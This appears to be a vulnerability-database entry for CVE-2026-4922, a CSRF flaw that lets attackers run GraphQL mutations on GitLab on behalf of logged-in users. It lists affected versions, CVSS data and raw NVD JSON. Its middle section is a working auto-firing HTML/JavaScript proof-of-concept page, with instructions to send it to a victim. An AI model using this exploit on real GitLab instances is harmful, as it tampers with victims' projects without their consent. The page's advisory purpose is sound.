Security Vulnerability Report
中文
CVE-2026-4922 CVSS 8.1 HIGH

CVE-2026-4922

Published: 2026-04-22 17:16:44
Last Modified: 2026-04-23 20:40:04

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.0 before 18.9.6, 18.10 before 18.10.4, and 18.11 before 18.11.1 that could have allowed an unauthenticated user to execute GraphQL mutations on behalf of authenticated users due to insufficient CSRF protection.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE >= 17.0, < 18.9.6
GitLab CE/EE >= 18.10, < 18.10.4
GitLab CE/EE >= 18.11, < 18.11.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-4922: GitLab GraphQL CSRF Description: This HTML snippet demonstrates how an attacker could trigger a GraphQL mutation on a vulnerable GitLab instance. Usage: Replace TARGET_GITLAB with the actual domain and host this file. Send the link to an authenticated victim. --> <html> <body> <script> function exploit() { // The attacker crafts a malicious GraphQL mutation. // This is a generic example payload structure. const query = `mutation { updateProject(input: { id: "gid://gitlab/Project/1", description: "PWNED" }) { project { description } errors { message } } }`; // Send the request to the target GitLab instance // The browser automatically includes the session cookies fetch('https://<TARGET_GITLAB>/api/graphql', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' }, body: JSON.stringify({ query: query }), credentials: 'include' }) .then(response => response.json()) .then(data => console.log('CSRF Exploit Result:', data)) .catch(error => console.error('Error:', error)); } // Trigger the exploit automatically when the page loads window.onload = exploit; </script> <p>GitLab CSRF PoC executing... check console.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4922", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:44.277", "lastModified": "2026-04-23T20:40:03.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.0 before 18.9.6, 18.10 before 18.10.4, and 18.11 before 18.11.1 that could have allowed an unauthenticated user to execute GraphQL mutations on behalf of authenticated users due to insufficient CSRF protection."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "17.0.0", "versionEndExcluding": "18.9.6", "matchCriteriaId": "F68571FC-0B09-47F5-9C9B-05EC01C062BC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "17.0.0", "versionEndExcluding": "18.9.6", "matchCriteriaId": "5C6C1021-1F58-4C4D-9349-9AB16C923AB0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.4", "matchCriteriaId": "98D16D9B-6A45-45F3-934B-3ED95C8371BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.4", "matchCriteriaId": "58B8096F-9D7B-403D-B685-E9D4FA24F3E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:community:*:*:*", "matchCriteriaId": "A6100523-821F-4F41-872D-AC5A60EECC19"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "C78F9577-CDD5-497B-A92F-3C578AC6709E"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/04/22/patch-release-gitlab-18-11-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/594937", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3627285", "source": "[email protected]", "tags": ["Permissions Required"]}]}}